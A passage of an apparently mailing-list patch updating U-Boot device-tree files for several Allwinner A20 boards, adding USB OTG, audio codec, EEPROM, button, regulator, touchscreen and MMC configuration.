++	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-olimex-som-evb.dts
++++ b/arch/arm/dts/sun7i-a20-olimex-som-evb.dts
+@@ -1,5 +1,6 @@
+ /*
+  * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
++ * Copyright 2015 - Karsten Merker <merker at debian.org>
+  *
+  * This file is dual-licensed: you can use it either under the terms
+  * of the GPL or the X11 license, at your option. Note that this dual
+@@ -45,6 +46,7 @@
+ #include "sunxi-common-regulators.dtsi"
+ 
+ #include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+@@ -71,14 +73,6 @@
+ 			default-state = "on";
+ 		};
+ 	};
+-
+-	reg_axp_ipsout: axp_ipsout {
+-		compatible = "regulator-fixed";
+-		regulator-name = "axp-ipsout";
+-		regulator-min-microvolt = <5000000>;
+-		regulator-max-microvolt = <5000000>;
+-		regulator-always-on;
+-	};
+ };
+ 
+ &ahci {
+@@ -94,6 +88,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &gmac {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&gmac_pins_rgmii_a>;
+@@ -118,10 +116,58 @@
+ 	};
+ };
+ 
+-&i2c1 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&i2c1_pins_a>;
++&lradc {
++	vref-supply = <&reg_vcc3v0>;
+ 	status = "okay";
++
++	button at 190 {
++		label = "Volume Up";
++		linux,code = <KEY_VOLUMEUP>;
++		channel = <0>;
++		voltage = <190000>;
++	};
++
++	button at 390 {
++		label = "Volume Down";
++		linux,code = <KEY_VOLUMEDOWN>;
++		channel = <0>;
++		voltage = <390000>;
++	};
++
++	button at 600 {
++		label = "Menu";
++		linux,code = <KEY_MENU>;
++		channel = <0>;
++		voltage = <600000>;
++	};
++
++	button at 800 {
++		label = "Search";
++		linux,code = <KEY_SEARCH>;
++		channel = <0>;
++		voltage = <800000>;
++	};
++
++	button at 980 {
++		label = "Home";
++		linux,code = <KEY_HOMEPAGE>;
++		channel = <0>;
++		voltage = <980000>;
++	};
++
++	button at 1180 {
++		label = "Esc";
++		linux,code = <KEY_ESC>;
++		channel = <0>;
++		voltage = <1180000>;
++	};
++
++	button at 1400 {
++		label = "Enter";
++		linux,code = <KEY_ENTER>;
++		channel = <0>;
++		voltage = <1400000>;
++	};
+ };
+ 
+ &mmc0 {
+@@ -134,6 +180,16 @@
+ 	status = "okay";
+ };
+ 
++&mmc3 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc3_pins_a>, <&mmc3_cd_pin_olimex_som_evb>;
++	vmmc-supply = <&reg_vcc3v3>;
++	bus-width = <4>;
++	cd-gpios = <&pio 7 0 GPIO_ACTIVE_HIGH>; /* PH0 */
++	cd-inverted;
++	status = "okay";
++};
++
+ &ohci0 {
+ 	status = "okay";
+ };
+@@ -161,15 +217,22 @@
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
+ 
++	mmc3_cd_pin_olimex_som_evb: mmc3_cd_pin at 0 {
++		allwinner,pins = "PH0";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
+-		allwinner,pins = "PH04";
++		allwinner,pins = "PH4";
+ 		allwinner,function = "gpio_in";
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
+ 
+ 	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
+-		allwinner,pins = "PH05";
++		allwinner,pins = "PH5";
+ 		allwinner,function = "gpio_in";
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+@@ -187,7 +250,7 @@
+ &reg_dcdc2 {
+ 	regulator-always-on;
+ 	regulator-min-microvolt = <1000000>;
+-	regulator-max-microvolt = <1425000>;
++	regulator-max-microvolt = <1400000>;
+ 	regulator-name = "vdd-cpu";
+ };
+ 
+@@ -235,8 +298,8 @@
+ &usbphy {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
+-	usb0_id_det-gpios = <&pio 7 04 GPIO_ACTIVE_HIGH>; /* PH04 */
+-	usb0_vbus_det-gpios = <&pio 7 05 GPIO_ACTIVE_HIGH>; /* PH05 */
++	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH04 */
++	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH05 */
+ 	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+--- a/arch/arm/dts/sun7i-a20-olinuxino-lime.dts
++++ b/arch/arm/dts/sun7i-a20-olinuxino-lime.dts
+@@ -117,6 +117,18 @@
+ 	};
+ };
+ 
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++
++	eeprom: eeprom at 50 {
++		compatible = "atmel,24c16";
++		reg = <0x50>;
++		pagesize = <16>;
++	};
++};
++
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
+--- a/arch/arm/dts/sun7i-a20-olinuxino-lime2.dts
++++ b/arch/arm/dts/sun7i-a20-olinuxino-lime2.dts
+@@ -170,6 +170,12 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+ 	status = "okay";
++
++	eeprom: eeprom at 50 {
++		compatible = "atmel,24c16";
++		reg = <0x50>;
++		pagesize = <16>;
++	};
+ };
+ 
+ &mmc0 {
+@@ -190,6 +196,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	ahci_pwr_pin_olinuxinolime: ahci_pwr_pin at 1 {
+ 		allwinner,pins = "PC3";
+@@ -204,6 +214,27 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
++	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
++		allwinner,pins = "PH5";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_DOWN>;
++	};
++
++	usb0_vbus_pin_lime2: usb0_vbus_pin at 0 {
++		allwinner,pins = "PC17";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
+ };
+ 
+ &reg_ahci_5v {
+@@ -212,6 +243,12 @@
+ 	status = "okay";
+ };
+ 
++&reg_usb0_vbus {
++	pinctrl-0 = <&usb0_vbus_pin_lime2>;
++	gpio = <&pio 2 17 GPIO_ACTIVE_HIGH>;
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -226,7 +263,17 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_det-gpio = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-olinuxino-micro.dts
++++ b/arch/arm/dts/sun7i-a20-olinuxino-micro.dts
+@@ -125,6 +125,12 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+ 	status = "okay";
++
++	eeprom: eeprom at 50 {
++		compatible = "atmel,24c16";
++		reg = <0x50>;
++		pagesize = <16>;
++	};
+ };
+ 
+ &i2c2 {
+--- a/arch/arm/dts/sun7i-a20-orangepi-mini.dts
++++ b/arch/arm/dts/sun7i-a20-orangepi-mini.dts
+@@ -95,6 +95,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -156,7 +160,18 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	mmc0_cd_pin_orangepi: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PH10";
+ 		allwinner,function = "gpio_in";
+@@ -225,6 +240,10 @@
+ 	regulator-name = "avcc";
+ };
+ 
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	pinctrl-0 = <&usb1_vbus_pin_bananapro>;
+ 	gpio = <&pio 7 26 GPIO_ACTIVE_HIGH>; /* PH26 */
+@@ -243,7 +262,21 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
++&usb_power_supply {
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_power-supply = <&usb_power_supply>;
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-orangepi.dts
++++ b/arch/arm/dts/sun7i-a20-orangepi.dts
+@@ -141,7 +141,18 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	mmc0_cd_pin_orangepi: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PH10";
+ 		allwinner,function = "gpio_in";
+@@ -203,6 +214,10 @@
+ 	regulator-name = "avcc";
+ };
+ 
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	pinctrl-0 = <&usb1_vbus_pin_bananapro>;
+ 	gpio = <&pio 7 26 GPIO_ACTIVE_HIGH>; /* PH26 */
+@@ -221,7 +236,21 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
++&usb_power_supply {
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_power-supply = <&usb_power_supply>;
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-pcduino3-nano.dts
++++ b/arch/arm/dts/sun7i-a20-pcduino3-nano.dts
+@@ -82,6 +82,14 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -108,13 +116,9 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupt-parent = <&nmi_intc>;
+ 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
+-
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+ 	};
+ };
+ 
+@@ -142,6 +146,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	ahci_pwr_pin_pcduino3_nano: ahci_pwr_pin at 0 {
+ 		allwinner,pins = "PH2";
+@@ -157,8 +165,15 @@
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
+ 
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	usb1_vbus_pin_pcduino3_nano: usb1_vbus_pin at 0 {
+-		allwinner,pins = "PH11";
++		allwinner,pins = "PD2";
+ 		allwinner,function = "gpio_out";
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+@@ -171,13 +186,37 @@
+ 	status = "okay";
+ };
+ 
+-&reg_usb1_vbus {
+-	pinctrl-0 = <&usb1_vbus_pin_pcduino3_nano>;
+-	gpio = <&pio 7 11 GPIO_ACTIVE_HIGH>; /* PH11 */
+-	status = "okay";
++#include "axp209.dtsi"
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-pll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
+ };
+ 
+-&reg_usb2_vbus {
++/* A single regulator (U24) powers both USB host ports. */
++&reg_usb1_vbus {
++	pinctrl-0 = <&usb1_vbus_pin_pcduino3_nano>;
++	gpio = <&pio 3 2 GPIO_ACTIVE_HIGH>; /* PD2 */
+ 	status = "okay";
+ };
+ 
+@@ -187,8 +226,16 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+-	usb2_vbus-supply = <&reg_usb2_vbus>;
++	usb2_vbus-supply = <&reg_usb1_vbus>;
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun7i-a20-pcduino3.dts
++++ b/arch/arm/dts/sun7i-a20-pcduino3.dts
+@@ -111,6 +111,14 @@
+ 	allwinner,pins = "PH2";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -137,16 +145,14 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupt-parent = <&nmi_intc>;
+ 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
+-
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+ 	};
+ };
+ 
++#include "axp209.dtsi"
++
+ &ir0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&ir0_rx_pins_a>;
+@@ -171,6 +177,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	led_pins_pcduino3: led_pins at 0 {
+ 		allwinner,pins = "PH15", "PH16";
+@@ -185,6 +195,13 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
+ };
+ 
+ &reg_ahci_5v {
+@@ -192,6 +209,31 @@
+ 	status = "okay";
+ };
+ 
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-pll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -206,7 +248,15 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-wexler-tab7200.dts
++++ b/arch/arm/dts/sun7i-a20-wexler-tab7200.dts
+@@ -48,6 +48,7 @@
+ #include <dt-bindings/gpio/gpio.h>
+ #include <dt-bindings/input/input.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
++#include <dt-bindings/pwm/pwm.h>
+ 
+ / {
+ 	model = "Wexler TAB7200";
+@@ -57,11 +58,28 @@
+ 		serial0 = &uart0;
+ 	};
+ 
++	backlight {
++		compatible = "pwm-backlight";
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		pinctrl-names = "default";
++		pinctrl-0 = <&bl_enable_pin>;
++		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+ };
+ 
++&codec {
++	pinctrl-names = "default";
++	pinctrl-0 = <&codec_pa_pin>;
++	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>; /* PH15 */
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+@@ -86,6 +104,8 @@
+ 	};
+ };
+ 
++#include "axp209.dtsi"
++
+ &i2c1 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+@@ -96,6 +116,18 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c2_pins_a>;
+ 	status = "okay";
++
++	gt911: touchscreen at 5d {
++		compatible = "goodix,gt911";
++		reg = <0x5d>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>; /* EINT21 (PH21) */
++		pinctrl-names = "default";
++		pinctrl-0 = <&ts_reset_pin>;
++		irq-gpios = <&pio 7 21 GPIO_ACTIVE_HIGH>; /* INT (PH21) */
++		reset-gpios = <&pio 1 13 GPIO_ACTIVE_HIGH>; /* RST (PB13) */
++		touchscreen-swapped-x-y;
++	};
+ };
+ 
+ &lradc {
+@@ -135,7 +167,45 @@
+ 	status = "okay";
+ };
+ 
+-#include "axp209.dtsi"
++&otg_sram {
++	status = "okay";
++};
++
++&pio {
++	bl_enable_pin: bl_enable_pin at 0 {
++		allwinner,pins = "PH7";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	codec_pa_pin: codec_pa_pin at 0 {
++		allwinner,pins = "PH15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	ts_reset_pin: ts_reset_pin at 0 {
++		allwinner,pins = "PB13";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++};
++
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins_a>;
++	status = "okay";
++};
+ 
+ &reg_dcdc2 {
+ 	regulator-always-on;
+@@ -162,6 +232,10 @@
+ 	regulator-name = "avcc";
+ };
+ 
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -176,7 +250,21 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
++&usb_power_supply {
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_power-supply = <&usb_power_supply>;
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts
++++ b/arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts
+@@ -1,13 +1,52 @@
+ /*
+- * Copyright 2015 Hans de Goede <hdegoede at redhat.com>
++ * Copyright 2015 Jelle de Jong <jelledejong at powercraft.nl>
+  *
+- * Minimal dts file for the Wits Pro A20 DKT for u-boot only
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
+  *
+- * SPDX-License-Identifier:     GPL-2.0+ or X11
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
+  */
+ 
+ /dts-v1/;
+ #include "sun7i-a20.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
++#include <dt-bindings/interrupt-controller/irq.h>
+ 
+ / {
+ 	model = "Wits Pro A20 DKT";
+@@ -20,6 +59,17 @@
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
++
++	mmc3_pwrseq: mmc3_pwrseq {
++		compatible = "mmc-pwrseq-simple";
++		pinctrl-names = "default";
++		pinctrl-0 = <&vmmc3_pin_ap6xxx_wl_regon>;
++		reset-gpios = <&pio 7 9 GPIO_ACTIVE_LOW>; /* PH9 WIFI_EN */
++	};
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
+ };
+ 
+ &ehci0 {
+@@ -42,6 +92,60 @@
+ 	};
+ };
+ 
++&i2c0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "okay";
++
++	axp209: pmic at 34 {
++		reg = <0x34>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&i2c2 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++};
++
++#include "axp209.dtsi"
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
++	vmmc-supply = <&reg_vcc3v3>;
++	bus-width = <4>;
++	cd-gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>; /* PH1 */
++	cd-inverted;
++	status = "okay";
++};
++
++&mmc3 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc3_pins_a>;
++	vmmc-supply = <&reg_vcc3v3>;
++	mmc-pwrseq = <&mmc3_pwrseq>;
++	bus-width = <4>;
++	non-removable;
++	status = "okay";
++
++	brcmf: bcrmf at 1 {
++		reg = <1>;
++		compatible = "brcm,bcm4329-fmac";
++		interrupt-parent = <&pio>;
++		interrupts = <7 10 IRQ_TYPE_LEVEL_LOW>; /* PH10 / EINT10 */
++		interrupt-names = "host-wake";
++	};
++};
++
+ &ohci0 {
+ 	status = "okay";
+ };
+@@ -50,8 +154,85 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
++&pio {
++	vmmc3_pin_ap6xxx_wl_regon: vmmc3_pin at 0 {
++		allwinner,pins = "PH9";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1450000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
++&reg_usb0_vbus {
++	status = "okay";
++};
++
++&reg_usb1_vbus {
++	status = "okay";
++};
++
++&reg_usb2_vbus {
++	status = "okay";
++};
++
+ &uart0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&uart0_pins_a>;
+ 	status = "okay";
+ };
++
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
++&usb_power_supply {
++	status = "okay";
++};
++
++&usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_power-supply = <&usb_power_supply>;
++	usb0_vbus-supply = <&reg_usb0_vbus>;
++	usb1_vbus-supply = <&reg_usb1_vbus>;
++	usb2_vbus-supply = <&reg_usb2_vbus>;
